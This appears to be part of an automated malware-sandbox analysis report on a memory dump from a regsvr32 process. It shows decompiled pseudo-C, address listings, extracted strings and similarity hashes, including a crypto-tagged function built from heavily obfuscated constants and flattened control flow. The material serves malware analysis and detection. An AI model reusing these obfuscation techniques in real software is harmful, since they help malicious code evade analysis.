						_push(0x4221778);
						_t750 = E04223325( &_v256, E04234244(_v504, _v512, _t880), _v292 - _t769, _v352, _v408, _t769);
						E0423FECB(_t747, _v392, _v336, _v400, _v344);
						_t752 = _v296;
						 *_t752 = _t870;
						 *((intOrPtr*)(_t752 + 4)) = _t769 + _t750 - _t870;
						L10:
						return _v300;
						L31:
						__eflags = _t864 - 0xc7faa3a;
					} while (__eflags != 0);
					goto L10;
				}
			}

0x04232e5d
0x04232e5d
0x04232e67
0x04232e6e
0x04232e72
0x04232e7d
0x04232e8d
0x04232e94
0x04232e99
0x04232ea4
0x04232eb4
0x04232eb9
0x04232ebf
0x04232ec7
0x04232ecc
0x04232ed4
0x04232edc
0x04232ee4
0x04232eec
0x04232ef4
0x04232efc
0x04232f04
0x04232f11
0x04232f14
0x04232f18
0x04232f20
0x04232f28
0x04232f30
0x04232f40
0x04232f44
0x04232f4c
0x04232f54
0x04232f5f
0x04232f72
0x04232f73
0x04232f7a
0x04232f85
0x04232f8d
0x04232f92
0x04232f97
0x04232f9f
0x04232fa7
0x04232fb2
0x04232fba
0x04232fc5
0x04232fd9
0x04232fe0
0x04232feb
0x04232ff6
0x04232ffe
0x04233003
0x0423300b
0x04233013
0x0423301b
0x04233028
0x0423302c
0x04233034
0x0423303c
0x04233047
0x04233052
0x0423305d
0x04233068
0x04233070
0x04233080
0x04233085
0x0423308b
0x04233090
0x04233098
0x042330a0
0x042330ad
0x042330ae
0x042330b2
0x042330ba
0x042330c2
0x042330cd
0x042330d5
0x042330e0
0x042330eb
0x042330f6
0x04233101
0x0423310c
0x04233117
0x04233122
0x0423312a
0x04233135
0x04233140
0x04233153
0x0423315a
0x04233165
0x04233172
0x04233176
0x0423317e
0x04233186
0x0423318e
0x0423319b
0x0423319f
0x042331a7
0x042331af
0x042331b7
0x042331c2
0x042331cd
0x042331d8
0x042331eb
0x042331f2
0x042331fa
0x04233205
0x04233210
0x0423321b
0x04233226
0x04233231
0x0423323c
0x04233247
0x04233252
0x0423325d
0x04233265
0x0423326f
0x04233273
0x0423327b
0x04233283
0x04233297
0x0423329e
0x042332a9
0x042332b4
0x042332bc
0x042332c4
0x042332c9
0x042332ce
0x042332d6
0x042332e1
0x042332e9
0x042332f4
0x042332fe
0x04233303
0x04233311
0x04233316
0x0423331c
0x04233324
0x0423332f
0x0423333f
0x04233342
0x04233349
0x04233354
0x0423335c
0x04233369
0x0423336d
0x04233375
0x04233380
0x0423338b
0x04233396
0x0423339e
0x042333a3
0x042333ab
0x042333b3
0x042333bb
0x042333c3
0x042333cb
0x042333d3
0x042333db
0x042333e3
0x042333f6
0x042333f9
0x04233400
0x0423340b
0x04233416
0x04233421
0x0423342c
0x04233437
0x04233442
0x0423344d
0x04233458
0x0423346e
0x04233475
0x0423347d
0x04233488
0x04233490
0x0423349c
0x0423349f
0x042334a3
0x042334a8
0x042334b0
0x042334bb
0x042334c6
0x042334d1
0x042334dc
0x042334e4
0x042334ef
0x042334fa
0x04233505
0x04233510
0x0423351b
0x04233526
0x04233539
0x04233540
0x0423354d
0x04233555
0x0423355d
0x04233565
0x0423356a
0x04233572
0x0423357d
0x04233588
0x04233593
0x0423359e
0x042335a6
0x042335b1
0x042335c5
0x042335ca
0x042335d3
0x042335de
0x042335ea
0x042335ef
0x042335f5
0x042335fd
0x04233602
0x0423360a
0x04233615
0x04233620
0x0423362b
0x0423363e
0x04233641
0x04233653
0x0423365a
0x04233665
0x04233670
0x04233678
0x04233683
0x0423368e
0x04233696
0x0423369e
0x042336a9
0x042336b4
0x042336bf
0x042336ca
0x042336d7
0x042336da
0x042336de
0x042336e3
0x042336eb
0x042336f3
0x04233703
0x04233707
0x0423370f
0x04233717
0x0423371f
0x04233727
0x0423372f
0x04233737
0x0423373c
0x04233744
0x04233756
0x04233759
0x04233760
0x0423376d
0x04233775
0x04233784
0x04233787
0x0423378e
0x04233792
0x0423379a
0x042337a2
0x042337b2
0x042337ba
0x042337bf
0x042337c6
0x042337ca
0x042337d2
0x042337da
0x042337ee
0x042337f5
0x042337fc
0x04233807
0x0423381a
0x04233821
0x04233829
0x04233834
0x0423383f
0x04233852
0x04233859
0x04233864
0x0423386f
0x0423387a
0x04233885
0x04233890
0x04233898
0x042338a3
0x042338ae
0x042338b9
0x042338c1
0x042338cc
0x042338d7
0x042338e2
0x042338ed
0x042338f5
0x042338fd
0x0423390a
0x0423390e
0x04233916
0x04233921
0x0423392c
0x04233934
0x0423393f
0x0423393f
0x0423393f
0x04233944
0x04233944
0x04233944
0x04233944
0x0423394a
0x00000000
0x00000000
0x04233be6
0x04233be8
0x04233ca8
0x04233caf
0x04233cb2
0x04233cc7
0x04233ccc
0x04233cd3
0x04233cda
0x04233d26
0x04233d34
0x04233d39
0x04233d40
0x04233d43
0x04233d48
0x00000000
0x04233d48
0x04233bee
0x04233bf4
0x04233c6d
0x04233c84
0x04233c85
0x04233c87
0x04233c8c
0x04233c8f
0x04233c96
0x04233c98
0x04233a22
0x04233a22
0x04233c9e
0x04233a8d
0x04233a8d
0x0423393f
0x0423393f
0x0423393f
0x00000000
0x0423393f
0x0423393f
0x04233bf6
0x04233bfc
0x04233c36
0x04233c37
0x04233c41
0x04233c4a
0x04233c4b
0x04233c4c
0x04233c59
0x04233c5a
0x04233c5f
0x04233a8a
0x04233a8a
0x00000000
0x04233a8a
0x04233bfe
0x04233c04
0x04233d77
0x00000000
0x04233d7e
0x04233c0a
0x04233c10
0x00000000
0x00000000
0x04233c16
0x04233c16
0x04233950
0x04233bb0
0x04233bc1
0x04233bc2
0x04233bc4
0x04233bc9
0x04233bcd
0x04233bcf
0x04233bd7
0x04233bd9
0x04233bde
0x00000000
0x04233bde
0x0423395c
0x04233b72
0x04233b73
0x04233b7d
0x04233b86
0x04233b87
0x04233b88
0x04233b95
0x04233b96
0x04233b9b
0x00000000
0x04233b9b
0x04233968
0x04233b46
0x04233b4b
0x04233b52
0x04233b55
0x04233b5a
0x00000000
0x04233b5a
0x04233974
0x04233a9d
0x04233ab6
0x04233ab7
0x04233ac1
0x04233ac3
0x04233ac6
0x04233acd
0x04233acf
0x04233ad1
0x04233ad3
0x04233adc
0x04233adc
0x04233ade
0x04233ae0
0x04233ae2
0x04233ae5
0x04233ae5
0x04233ae5
0x04233ae5
0x04233afe
0x04233aff
0x04233b04
0x04233b09
0x04233b0a
0x04233b0c
0x04233b0d
0x04233b1d
0x04233b1e
0x04233b23
0x00000000
0x04233b23
0x04233980
0x04233a23
0x04233a2c
0x04233a33
0x04233a3e
0x04233a43
0x04233a54
0x04233a55
0x04233a56
0x04233a57
0x04233a66
0x04233a80
0x04233a85
0x00000000
0x04233a85
0x04233986
0x0423398c
0x00000000
0x00000000
0x04233992
0x04233996
0x042339a5
0x042339d6
0x042339fb
0x04233a00
0x04233a0c
0x04233a0e
0x04233a11
0x00000000
0x04233d4d
0x04233d4d
0x04233d4d
0x00000000
0x04233d59

Strings

Gd, xrefs: 04233117
8j, xrefs: 042335A6
Sg, xrefs: 04233098
9I , xrefs: 04233834
IF, xrefs: 04233380
I,, xrefs: 04232F85
DJ3, xrefs: 04232F28
5S, xrefs: 0423357D
$7, xrefs: 04233231
|I9, xrefs: 042331A7
kn_, xrefs: 042330C2
DO, xrefs: 0423371F
3, xrefs: 04232FBA
!s9, xrefs: 04233375
*a<, xrefs: 0423354D
-3n3, xrefs: 04232F18
1TPy, xrefs: 0423310C

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !s9$*a<$-3n3$1TPy$5S$8j$9I $DJ3$IF$Sg$kn_$|I9$$7$3$DO$Gd$I,
API String ID: 0-3070105227
Opcode ID: 0770b726f84710aec20fa07e9f6811b1264f4d4f6185b4fd9b0f7e0a2ed3dc59
Instruction ID: e0c30596f6bbe10e6545fceb688287e59c45bacb108cdffcda3813f8fa034a69
Opcode Fuzzy Hash: 0770b726f84710aec20fa07e9f6811b1264f4d4f6185b4fd9b0f7e0a2ed3dc59
Instruction Fuzzy Hash: 3472F0B16083819BD378CF25C58AB9BFBE1BBC4718F10891DE5D99A260D7B09949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04223431, Relevance: 17.0, Strings: 13, Instructions: 746
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E04223431(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				unsigned int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				void* _t880;
				void* _t883;
				intOrPtr _t884;
				intOrPtr _t891;
				void* _t892;
				signed int _t894;
				char _t897;
				void* _t905;
				intOrPtr _t918;
				void* _t919;
				intOrPtr _t925;
				intOrPtr _t927;
				void* _t929;
				signed int _t935;
				signed int _t936;
				signed int _t937;
				signed int _t938;
				signed int _t939;
				signed int _t940;
				signed int _t941;
				signed int _t942;
				signed int _t943;
				signed int _t944;
				signed int _t945;
				signed int _t946;
				signed int _t947;
				signed int _t948;
				signed int _t949;
				signed int _t950;
				signed int _t951;
				void* _t952;
				intOrPtr _t974;
				intOrPtr _t977;
				void* _t1017;
				intOrPtr _t1018;
				void* _t1038;
				intOrPtr _t1039;
				void* _t1041;
				void* _t1046;
				signed int* _t1048;
				signed int* _t1052;
				void* _t1054;

				_t1048 =  &_v448;
				_v436 = 0x369131;
				_v436 = _v436 >> 0xc;
				_v72 = __ecx;
				_t1046 = 0;
				_t935 = 0x47;
				_v436 = _v436 / _t935;
				_t929 = 0xda5043f;
				_t936 = 0x5f;
				_v436 = _v436 * 0x17;
				_v436 = _v436 ^ 0x4d42455f;
				_v208 = 0xf6fdfa;
				_v208 = _v208 | 0x2cc981c8;
				_v208 = _v208 ^ 0x2cfffdfb;
				_v424 = 0xd0dd87;
				_v424 = _v424 << 0xd;
				_v424 = _v424 | 0x1c0753be;
				_v424 = _v424 << 0xb;
				_v424 = _v424 ^ 0xbf9df000;
				_v168 = 0x27916c;
				_v168 = _v168 << 0xc;
				_v168 = _v168 ^ 0x7916c000;
				_v112 = 0xb477a9;
				_v112 = _v112 << 0xb;
				_v112 = _v112 ^ 0xa3bd4800;
				_v220 = 0xe97999;
				_v220 = _v220 + 0xffffec6a;
				_v220 = _v220 ^ 0x00e96603;
				_v204 = 0x9e1a7f;
				_v204 = _v204 >> 5;
				_v204 = _v204 ^ 0x0004f0d3;
				_v268 = 0x424ea5;
				_v268 = _v268 ^ 0x63de6ac8;
				_v268 = _v268 + 0xffff47e2;
				_v268 = _v268 ^ 0x639b6c4f;
				_v260 = 0xd00e0b;
				_v260 = _v260 + 0x7bec;
				_v260 = _v260 + 0x9dda;
				_v260 = _v260 ^ 0x00d127d1;
				_v200 = 0x4c3c29;
				_v200 = _v200 + 0xffffc8b9;
				_v200 = _v200 ^ 0x004c04e2;
				_v248 = 0x4debf8;
				_v248 = _v248 + 0xffff1b2a;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x9a0e4400;
				_v228 = 0x8afd86;
				_v228 = _v228 / _t936;
				_v228 = _v228 << 4;
				_v228 = _v228 ^ 0x001768a0;
				_v96 = 0x2eb3c6;
				_v96 = _v96 << 0xd;
				_v96 = _v96 ^ 0xd678c020;
				_v420 = 0x274aed;
				_v420 = _v420 | 0x31740d1a;
				_v420 = _v420 + 0xffff9582;
				_v420 = _v420 | 0x350cf820;
				_v420 = _v420 ^ 0x35767196;
				_v364 = 0x6881b7;
				_v364 = _v364 * 7;
				_v364 = _v364 + 0xffffc912;
				_v364 = _v364 * 0x25;
				_v364 = _v364 ^ 0x69b6ddf9;
				_v184 = 0xd44f20;
				_v184 = _v184 ^ 0xce5a0ea9;
				_v184 = _v184 ^ 0xce89b855;
				_v264 = 0x81d5a2;
				_v264 = _v264 >> 8;
				_v264 = _v264 ^ 0x29112c15;
				_v264 = _v264 ^ 0x291faa41;
				_v100 = 0x37cb15;
				_t937 = 6;
				_v100 = _v100 * 0x62;
				_v100 = _v100 ^ 0x1559514e;
				_v380 = 0xd5dbc2;
				_v380 = _v380 ^ 0x7753e321;
				_v380 = _v380 + 0xffff7b0c;
				_v380 = _v380 << 8;
				_v380 = _v380 ^ 0x85ba1641;
				_v176 = 0xe5b425;
				_v176 = _v176 ^ 0xa878a978;
				_v176 = _v176 ^ 0xa898c785;
				_v120 = 0xd260b8;
				_v120 = _v120 / _t937;
				_v120 = _v120 ^ 0x00230c57;
				_v288 = 0xdcc1d5;
				_v288 = _v288 | 0xf1bc740f;
				_v288 = _v288 >> 0xf;
				_v288 = _v288 ^ 0x000063e4;
				_v232 = 0xe5d66a;
				_t938 = 0x2c;
				_v232 = _v232 * 0x6c;
				_v232 = _v232 / _t938;
				_v232 = _v232 ^ 0x02301c7d;
				_v296 = 0x2a124;
				_v296 = _v296 | 0xd0f8a1f6;
				_v296 = _v296 >> 3;
				_v296 = _v296 ^ 0x1a145567;
				_v160 = 0xc3c6af;
				_v160 = _v160 + 0xd2dc;
				_v160 = _v160 ^ 0x00c22786;
				_v348 = 0x8f150e;
				_v348 = _v348 + 0xa59e;
				_t939 = 0x59;
				_v348 = _v348 / _t939;
				_v348 = _v348 >> 0xe;
				_v348 = _v348 ^ 0x00038203;
				_v412 = 0x22c1c6;
				_v412 = _v412 | 0x52a0f1e9;
				_v412 = _v412 >> 0xe;
				_v412 = _v412 + 0x5f9c;
				_v412 = _v412 ^ 0x0003206f;
				_v256 = 0x6eace8;
				_v256 = _v256 | 0x5e36471d;
				_v256 = _v256 + 0xaa22;
				_v256 = _v256 ^ 0x5e7c911d;
				_v372 = 0x114227;
				_v372 = _v372 << 0xe;
				_v372 = _v372 >> 4;
				_v372 = _v372 + 0xffff3250;
				_v372 = _v372 ^ 0x05091a3a;
				_v152 = 0xb2c113;
				_v152 = _v152 | 0xd4a79ff0;
				_v152 = _v152 ^ 0xd4b69369;
				_v404 = 0xac8dd0;
				_v404 = _v404 | 0xfe2c74c4;
				_v404 = _v404 + 0xfffff2df;
				_v404 = _v404 ^ 0xd6ca137b;
				_v404 = _v404 ^ 0x2865160f;
				_v92 = 0xc872d4;
				_v92 = _v92 ^ 0x1ab36d9e;
				_v92 = _v92 ^ 0x1a793755;
				_v104 = 0x4ab196;
				_v104 = _v104 << 8;
				_v104 = _v104 ^ 0x4ab50517;
				_v448 = 0xada0e7;
				_t940 = 0x71;
				_v448 = _v448 * 0x69;
				_v448 = _v448 ^ 0xf900bd50;
				_v448 = _v448 + 0x197e;
				_v448 = _v448 ^ 0xbe3853b0;
				_v396 = 0x11e923;
				_v396 = _v396 + 0x3954;
				_v396 = _v396 / _t940;
				_v396 = _v396 >> 0xc;
				_v396 = _v396 ^ 0x00018e0c;
				_v336 = 0x5f85c1;
				_v336 = _v336 | 0x2e05641a;
				_v336 = _v336 + 0xffffe3b2;
				_v336 = _v336 ^ 0x2e57dda5;
				_v144 = 0xd04b4f;
				_v144 = _v144 | 0x24a920ad;
				_v144 = _v144 ^ 0x24f2194c;
				_v332 = 0xa51135;
				_v332 = _v332 | 0x0e3f3b11;
				_v332 = _v332 << 1;
				_v332 = _v332 ^ 0x1d7bc296;
				_v432 = 0x91d3da;
				_v432 = _v432 ^ 0xfb7827da;
				_v432 = _v432 ^ 0x8307cadb;
				_v432 = _v432 ^ 0x96a6215b;
				_v432 = _v432 ^ 0xee460da5;
				_v440 = 0x76ea73;
				_t941 = 0x68;
				_v440 = _v440 * 0x64;
				_v440 = _v440 * 0x74;
				_v440 = _v440 + 0xffff4177;
				_v440 = _v440 ^ 0x0c5f6cc4;
				_v84 = 0xe35803;
				_v84 = _v84 << 2;
				_v84 = _v84 ^ 0x038e6518;
				_v416 = 0xaf3ba8;
				_v416 = _v416 / _t941;
				_v416 = _v416 << 4;
				_v416 = _v416 ^ 0x48935165;
				_v416 = _v416 ^ 0x4881449f;
				_v212 = 0x801900;
				_v212 = _v212 + 0xffff42b5;
				_v212 = _v212 ^ 0x0072cd25;
				_v308 = 0xdd451d;
				_v308 = _v308 << 7;
				_v308 = _v308 + 0xffff5c98;
				_v308 = _v308 ^ 0x6ea87981;
				_v400 = 0xde1a46;
				_v400 = _v400 + 0xffff765a;
				_v400 = _v400 / _t941;
				_v400 = _v400 << 9;
				_v400 = _v400 ^ 0x044894be;
				_v316 = 0xd965ab;
				_t942 = 0x67;
				_v316 = _v316 / _t942;
				_v316 = _v316 ^ 0xab5bfdd1;
				_v316 = _v316 ^ 0xab5ad192;
				_v408 = 0x2ea377;
				_v408 = _v408 ^ 0x7c77aa70;
				_v408 = _v408 * 0x1b;
				_t943 = 0x5b;
				_v408 = _v408 / _t943;
				_v408 = _v408 ^ 0x00544ec9;
				_v324 = 0xbe9a08;
				_t944 = 0x3b;
				_v324 = _v324 * 0x43;
				_v324 = _v324 >> 2;
				_v324 = _v324 ^ 0x0c769314;
				_v300 = 0x976b15;
				_v300 = _v300 + 0xffff7da5;
				_v300 = _v300 ^ 0x81b758ca;
				_v300 = _v300 ^ 0x81238506;
				_v180 = 0xcec496;
				_v180 = _v180 + 0xd8a;
				_v180 = _v180 ^ 0x00c56088;
				_v188 = 0xaed086;
				_v188 = _v188 / _t944;
				_v188 = _v188 ^ 0x0009ea52;
				_v196 = 0x3b56fa;
				_v196 = _v196 ^ 0xac6111bd;
				_v196 = _v196 ^ 0xac5e4370;
				_v292 = 0x9c517b;
				_t945 = 0xe;
				_v292 = _v292 * 0x4d;
				_v292 = _v292 << 0x10;
				_v292 = _v292 ^ 0x81f0babf;
				_v164 = 0xb8b001;
				_v164 = _v164 * 0x6d;
				_v164 = _v164 ^ 0x4ea63487;
				_v172 = 0xad6cfe;
				_v172 = _v172 + 0xffff2ed4;
				_v172 = _v172 ^ 0x00a06f33;
				_v392 = 0x7c182;
				_v392 = _v392 + 0xffff354a;
				_v392 = _v392 >> 9;
				_v392 = _v392 | 0x25902c29;
				_v392 = _v392 ^ 0x259a4e3f;
				_v384 = 0x5bc0d6;
				_v384 = _v384 << 1;
				_v384 = _v384 >> 3;
				_v384 = _v384 >> 0xb;
				_v384 = _v384 ^ 0x00007445;
				_v148 = 0xb53a42;
				_v148 = _v148 + 0x9a8c;
				_v148 = _v148 ^ 0x00ba1df9;
				_v340 = 0x4937cc;
				_v340 = _v340 / _t945;
				_v340 = _v340 * 0x55;
				_v340 = _v340 ^ 0x01b4526f;
				_v156 = 0xcb2355;
				_v156 = _v156 + 0x87d8;
				_v156 = _v156 ^ 0x00cab12c;
				_v276 = 0x1d3606;
				_v276 = _v276 ^ 0xef8573e3;
				_v276 = _v276 + 0xe74c;
				_v276 = _v276 ^ 0xef9451f2;
				_v124 = 0xea90d8;
				_v124 = _v124 >> 0xc;
				_v124 = _v124 ^ 0x000c3a09;
				_v132 = 0x9d7def;
				_v132 = _v132 << 0xe;
				_v132 = _v132 ^ 0x5f719987;
				_v376 = 0x89d7c2;
				_v376 = _v376 + 0xfffff23e;
				_v376 = _v376 | 0x7c68b11f;
				_v376 = _v376 ^ 0xbb3726b5;
				_v376 = _v376 ^ 0xc7d510ca;
				_v140 = 0x76a014;
				_t946 = 0x62;
				_v140 = _v140 * 0x5d;
				_v140 = _v140 ^ 0x2b1c15f7;
				_v236 = 0x97a0b2;
				_v236 = _v236 + 0xb8c3;
				_v236 = _v236 / _t946;
				_v236 = _v236 ^ 0x00048326;
				_v244 = 0xf40f05;
				_v244 = _v244 >> 9;
				_v244 = _v244 + 0xffff2918;
				_v244 = _v244 ^ 0xfff951ac;
				_v252 = 0x8be7d4;
				_t947 = 0x63;
				_v252 = _v252 * 0x1e;
				_v252 = _v252 | 0x42cac185;
				_v252 = _v252 ^ 0x52ef1e67;
				_v116 = 0xbde76;
				_v116 = _v116 * 0x7b;
				_v116 = _v116 ^ 0x05b04958;
				_v328 = 0xeb1d65;
				_v328 = _v328 + 0xffffd1f9;
				_v328 = _v328 / _t947;
				_v328 = _v328 ^ 0x00025d34;
				_v280 = 0x68b6dc;
				_v280 = _v280 << 4;
				_v280 = _v280 + 0xffffca90;
				_v280 = _v280 ^ 0x06815cee;
				_v284 = 0x6fbf52;
				_t948 = 0x39;
				_v284 = _v284 / _t948;
				_v284 = _v284 >> 0xc;
				_v284 = _v284 ^ 0x000af32e;
				_v128 = 0xe16a7a;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x85a6bd86;
				_v136 = 0xc45446;
				_v136 = _v136 * 0x2c;
				_v136 = _v136 ^ 0x21b71382;
				_v356 = 0x71f336;
				_v356 = _v356 ^ 0x2de7f7fe;
				_v356 = _v356 ^ 0x8a07c7d3;
				_v356 = _v356 ^ 0x93c759d9;
				_v356 = _v356 ^ 0x3457e38a;
				_v444 = 0xc2e3ca;
				_v444 = _v444 + 0xd370;
				_v444 = _v444 * 0x17;
				_v444 = _v444 | 0x81628588;
				_v444 = _v444 ^ 0x91feaa64;
				_v216 = 0xda26e7;
				_v216 = _v216 | 0x60c5a9c9;
				_v216 = _v216 ^ 0x60dd12b5;
				_v192 = 0x3f7410;
				_v192 = _v192 ^ 0x1d5bbab7;
				_v192 = _v192 ^ 0x1d6fbf93;
				_v312 = 0x4ada65;
				_v312 = _v312 << 0xd;
				_v312 = _v312 >> 7;
				_v312 = _v312 ^ 0x00bfdaf9;
				_v272 = 0xabf11;
				_v272 = _v272 | 0xa59dca8e;
				_v272 = _v272 + 0x20a8;
				_v272 = _v272 ^ 0xa5a7fe59;
				_v224 = 0x8674d0;
				_t1041 = 0x129d0b2;
				_t1038 = 0x319c4b5;
				_t949 = 0x14;
				_v224 = _v224 / _t949;
				_v224 = _v224 ^ 0x000de1f0;
				_v320 = 0xda9bb0;
				_v320 = _v320 | 0x2a57cad9;
				_t950 = 0x36;
				_v320 = _v320 * 0xf;
				_v320 = _v320 ^ 0x831ebdeb;
				_v240 = 0xa163ed;
				_v240 = _v240 * 0xb;
				_v240 = _v240 ^ 0x8dcbf844;
				_v240 = _v240 ^ 0x8b2bfc33;
				_v428 = 0x5ed42b;
				_v428 = _v428 + 0xffff1d19;
				_v428 = _v428 * 0x50;
				_v428 = _v428 << 2;
				_v428 = _v428 ^ 0x75680dd8;
				_v88 = 0xfa72dc;
				_v88 = _v88 >> 7;
				_v88 = _v88 ^ 0x0007f8f8;
				_v388 = 0x10dc91;
				_v388 = _v388 / _t950;
				_v388 = _v388 >> 2;
				_v388 = _v388 | 0xaac1de12;
				_v388 = _v388 ^ 0xaac723cf;
				_v304 = 0xa7cb34;
				_v304 = _v304 ^ 0x1c82ce84;
				_v304 = _v304 + 0xffff27ec;
				_v304 = _v304 ^ 0x1c2c2c1b;
				_v360 = 0x85a407;
				_v360 = _v360 << 0x10;
				_v360 = _v360 ^ 0xf399b7e8;
				_t951 = 0x7b;
				_v360 = _v360 * 0xb;
				_v360 = _v360 ^ 0xc3d703da;
				_v108 = 0x2c5900;
				_v108 = _v108 | 0x18e96d33;
				_v108 = _v108 ^ 0x18efd740;
				_v368 = 0x82a9c5;
				_v368 = _v368 * 0x63;
				_v368 = _v368 / _t951;
				_v368 = _v368 << 9;
				_v368 = _v368 ^ 0xd254d318;
				_v344 = 0x646456;
				_v344 = _v344 | 0x8bd14a3d;
				_v344 = _v344 ^ 0xb757bf6b;
				_v344 = _v344 ^ 0xc7e8113d;
				_v344 = _v344 ^ 0xfb40f9ed;
				_v352 = 0x76afda;
				_v352 = _v352 | 0xbd2b6ebb;
				_v352 = _v352 + 0xffffcbc9;
				_v352 = _v352 << 5;
				_v352 = _v352 ^ 0xaffdfdca;
				while(1) {
					L1:
					_t1017 = 0xbed0fa7;
					_t952 = 0x2dc73db;
					_t880 = 0x45ef02b;
					goto L2;
					do {
						while(1) {
							L2:
							_t1054 = _t929 - _t880;
							if(_t1054 <= 0) {
								break;
							}
							__eflags = _t929 - 0xa3576f8;
							if(_t929 == 0xa3576f8) {
								_t1018 =  *0x4246224; // 0x0
								E04242B09(_v360,  *((intOrPtr*)(_t1018 + 0x50)), _v108, _v368);
								_t929 = _t1038;
								L25:
								_t880 = 0x45ef02b;
								_t952 = 0x2dc73db;
								_t1017 = 0xbed0fa7;
								goto L26;
							}
							__eflags = _t929 - _t1017;
							if(__eflags == 0) {
								_push(_v156);
								_push(_v340);
								_push(_v148);
								_t883 = E0423E1F8(0x42213f8, _v384, __eflags);
								_t884 =  *0x4246224; // 0x0
								__eflags = E0422F288(_v268, _v276, _t883, _v124,  &_v76, _t884 + 0x54, _v132, 0x42213f8, _v376, _v80, _v140) - _v260;
								_t929 =  ==  ? 0x2dc73db : _t1038;
								E0423FECB(_t883, _v236, _v244, _v252, _v116);
								_t1048 =  &(_t1048[0xf]);
								L15:
								_t1041 = 0x129d0b2;
								goto L25;
							}
							__eflags = _t929 - 0xda5043f;
							if(__eflags != 0) {
								goto L26;
							}
							_t929 = 0x2e16ae;
						}
						if(_t1054 == 0) {
							_push(_v336);
							_push(_v396);
							_push(_v448);
							_t891 = E0423E1F8(0x42213a8, _v104, __eflags);
							_push(_v440);
							_t1039 = _t891;
							_push(_v432);
							_push(_v332);
							_t892 = E0423E1F8(0x4221498, _v144, __eflags);
							_v64 = _v424;
							_t894 = E042300C5(_t1039, _v84, _v416);
							_v56 = _v56 & 0x00000000;
							_v60 = _t1039;
							_v52 = 1;
							_v68 = 2 + _t894 * 2;
							_v48 =  &_v68;
							_t897 = 0x20;
							_v76 = _t897;
							__eflags = E042249A4(_v212,  &_v56, _v308,  &_v32, _v400, _v220, _v316,  &_v76, _v72, _t897, _t892, _v408, _v324) - _v204;
							_t929 =  ==  ? 0xbed0fa7 : 0x319c4b5;
							E0423FECB(_t1039, _v300, _v180, _v188, _v196);
							E0423FECB(_t892, _v292, _v164, _v172, _v392);
							_t1048 =  &(_t1048[0x18]);
							L17:
							_t1038 = 0x319c4b5;
							goto L15;
						}
						if(_t929 == 0x2e16ae) {
							_push(_v264);
							_push(_v184);
							_push(_v364);
							_t905 = E0423E1F8(0x4221468, _v420, __eflags);
							_push(_v120);
							_push(_v176);
							_push(_v380);
							__eflags = L0422738A(_v288, _t905, _v232, _v168,  &_v80, E0423E1F8(0x4221318, _v100, __eflags), _v296) - _v112;
							_t929 =  ==  ? 0x45ef02b : 0x45eecb1;
							E0423FECB(_t905, _v160, _v348, _v412, _v256);
							E0423FECB(_t906, _v372, _v152, _v404, _v92);
							_t1048 =  &(_t1048[0x11]);
							goto L17;
						}
						if(_t929 == _t1041) {
							_push(_v216);
							_push(_v444);
							_push(_v356);
							_t1045 = E0423E1F8(0x4221438, _v136, __eflags);
							_v44 = _v436;
							_v40 = _v208;
							_v36 = _v96;
							_t918 =  *0x4246224; // 0x0
							_t974 =  *0x4246224; // 0x0
							_t919 = E042250E8( *((intOrPtr*)(_t974 + 0x54)), _v192, _v312, _v272, _v224,  *((intOrPtr*)(_t918 + 0x50)), _v80, _v320, 0x4221438, 0x4221438,  &_v44, _v200, 0x4221438, _v240, _t913);
							_t1052 =  &(_t1048[0x10]);
							__eflags = _t919 - _v248;
							if(_t919 != _v248) {
								_t929 = 0xa3576f8;
							} else {
								_t929 = _t1038;
								_t1046 = 1;
							}
							E0423FECB(_t1045, _v428, _v88, _v388, _v304);
							_t1048 =  &(_t1052[3]);
							goto L15;
						}
						if(_t929 == _t952) {
							_t925 =  *0x4246224; // 0x0
							_push(_t952);
							_push(_t952);
							_t977 = E0422C5D8( *((intOrPtr*)(_t925 + 0x54)));
							_t1048 =  &(_t1048[3]);
							_t927 =  *0x4246224; // 0x0
							__eflags = _t977;
							_t929 =  !=  ? _t1041 : _t1038;
							 *((intOrPtr*)(_t927 + 0x50)) = _t977;
							goto L1;
						}
						if(_t929 != _t1038) {
							goto L26;
						}
						E0422F7FE(_v344, _v80, _v352, _v228);
						L9:
						return _t1046;
